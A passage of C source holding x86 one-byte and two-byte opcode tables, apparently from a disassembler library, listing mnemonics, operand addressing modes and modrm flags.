AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_INC, \"inc\", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_INC, \"inc\", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_INC, \"inc\", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_INC, \"inc\", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_INC, \"inc\", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_INC, \"inc\", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_INC, \"inc\", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DEC, \"dec\", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DEC, \"dec\", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DEC, \"dec\", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DEC, \"dec\", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DEC, \"dec\", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DEC, \"dec\", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DEC, \"dec\", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_DEC, \"dec\", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH , \"pusha\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"popa\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"bound\", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_PRIV, \"arpl\", AM_E|OT_w, AM_G|OT_w, FLAGS_NONE, 1 },\n // seg FS override\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n // seg GS override\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n // operand size override\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n // address size override\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_I|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_EIMUL, \"imul\", AM_G|OT_v, AM_E|OT_v, AM_I|OT_v , 1 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_I|OT_b|F_s, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_EIMUL, \"imul\", AM_G|OT_v, AM_E|OT_v, AM_I|OT_b|F_s, 1 },\n { INSTRUCTION_TYPE_PRIV, \"insb\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"insv\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"outsb\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"outsv\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jo\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jno\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jb\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnb\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jz\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnz\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jbe\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnbe\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"js\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jns\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jp\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnp\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jl\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnl\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jle\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnle\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"g1\", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"g1\", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"g1\", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"g1\", AM_E|OT_v, AM_I|OT_b|F_s, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_TEST, \"test\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_TEST, \"test\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_XCHG, \"xchg\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_XCHG, \"xchg\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVSR, \"mov\", AM_E|OT_w, AM_S|OT_w, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_LEA, \"lea\", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVSR, \"mov\", AM_S|OT_w, AM_E|OT_w, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"nop\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_XCHG, \"xchg\", AM_REG|REG_EAX|OT_v, AM_REG|REG_ECX|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_XCHG, \"xchg\", AM_REG|REG_EAX|OT_v, AM_REG|REG_EDX|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_XCHG, \"xchg\", AM_REG|REG_EAX|OT_v, AM_REG|REG_EBX|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_XCHG, \"xchg\", AM_REG|REG_EAX|OT_v, AM_REG|REG_ESP|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_XCHG, \"xchg\", AM_REG|REG_EAX|OT_v, AM_REG|REG_EBP|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_XCHG, \"xchg\", AM_REG|REG_EAX|OT_v, AM_REG|REG_ESI|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_XCHG, \"xchg\", AM_REG|REG_EAX|OT_v, AM_REG|REG_EDI|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"cbw\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"cwd\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_CALL, \"callf\", AM_A|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"wait\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"pushf\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"popf\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"sahf\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"lahf\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_EAX|OT_b, AM_O|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_EAX|OT_v, AM_O|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_O|OT_v, AM_REG|REG_EAX|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_O|OT_v, AM_REG|REG_EAX|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOVS, \"movsb\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOVS, \"movsd\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_CMPS, \"cmpsb\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_CMPS, \"cmpsd\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_TEST, \"test\", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_TEST, \"test\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_STOS, \"stosb\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_STOS, \"stosd\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_LODS, \"lodsb\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_LODS, \"lodsd\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_SCAS, \"scasb\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_SCAS, \"scasd\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_AL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_CL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_DL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_BL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_AH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_CH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_DH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_BH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_ECX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_EDX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_EBX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_ESP|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_EBP|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_ESI|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_REG|REG_EDI|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"g2\", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_OTHER, \"g2\", AM_E|OT_v, AM_I|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_RET, \"retn\", AM_I|OT_w, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_RET, \"ret\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_LFP, \"les\", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_LFP, \"lds\", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },\n // XXX: prepare for group 11\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOV, \"mov\", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"enter\", AM_I|OT_w, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"leave\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_RET, \"retf\", AM_I|OT_w, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"retf\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_INT, \"int3\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_INT, \"int\", AM_I|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"into\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"iret\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"g2\", AM_E|OT_b, AM_I1|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"g2\", AM_E|OT_v, AM_I1|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"g2\", AM_E|OT_b, AM_REG|REG_CL|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"g2\", AM_E|OT_v, AM_REG|REG_CL|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_ASC, \"aam\", AM_I|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_ASC, \"aad\", AM_I|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n // XXX: undocumened?\n { INSTRUCTION_TYPE_OTHER, \"salc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"xlat\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"esc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"esc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"esc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"esc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"esc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"esc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"esc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"esc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_LOOP, \"loopn\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_LOOP, \"loope\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_LOOP, \"loop\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jcxz\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"in\", AM_REG|REG_AL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"in\", AM_REG|REG_EAX|OT_v, AM_I|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"out\", AM_I|OT_b, AM_REG|REG_AL|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"out\", AM_I|OT_b, AM_REG|REG_EAX|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_CALL, \"call\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMP, \"jmp\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMP, \"jmpf\", AM_A|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMP, \"jmp\", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"in\", AM_REG|REG_EAX|OT_b, AM_REG|REG_EDX|OT_w, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"in\", AM_REG|REG_EAX|OT_v, AM_REG|REG_EDX|OT_w, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"out\", AM_REG|REG_EDX|OT_w, AM_REG|REG_EAX|OT_b, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"out\", AM_REG|REG_EDX|OT_w, AM_REG|REG_EAX|OT_v, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"ext\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"int1\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"ext\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"ext\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"hlt\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"cmc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"g3\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_OTHER, \"g3\", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_OTHER, \"clc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"stc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"cli\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"sti\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"cld\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"std\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"g4\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n // XXX: far call/jmp syntax in 16-bit mode\n { INSTRUCTION_TYPE_OTHER, \"g5\", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, \n};\n\n\n// 2-byte instructions\n\nINST inst_table2[256] = {\n { INSTRUCTION_TYPE_OTHER, \"g6\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },\n // XXX: smsw and lmsw in grp 7 use addressing mode E !!!\n { INSTRUCTION_TYPE_OTHER, \"g7\", AM_M|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_PRIV, \"lar\", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_PRIV, \"lsl\", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n // XXX: undocumented?\n { INSTRUCTION_TYPE_OTHER, \"loadall286\",FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"clts\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n // XXX: undocumented?\n { INSTRUCTION_TYPE_OTHER, \"loadall\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"invd\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"wbinvd\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"ud2\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_SSE, \"movups\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"movups\", AM_W|OT_ps, AM_V|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"movlps\", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"movlps\", AM_M|OT_q, AM_V|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"unpcklps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"unpcklps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"movhps\", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"movhps\", AM_M|OT_q, AM_V|OT_ps, FLAGS_NONE, 1 },\n // XXX: grp 16 (prefetch)\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"mov\", AM_R|OT_d, AM_C|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_PRIV, \"mov\", AM_R|OT_d, AM_D|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_PRIV, \"mov\", AM_C|OT_d, AM_R|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_PRIV, \"mov\", AM_D|OT_d, AM_R|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_PRIV, \"mov\", AM_R|OT_d, AM_T|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { 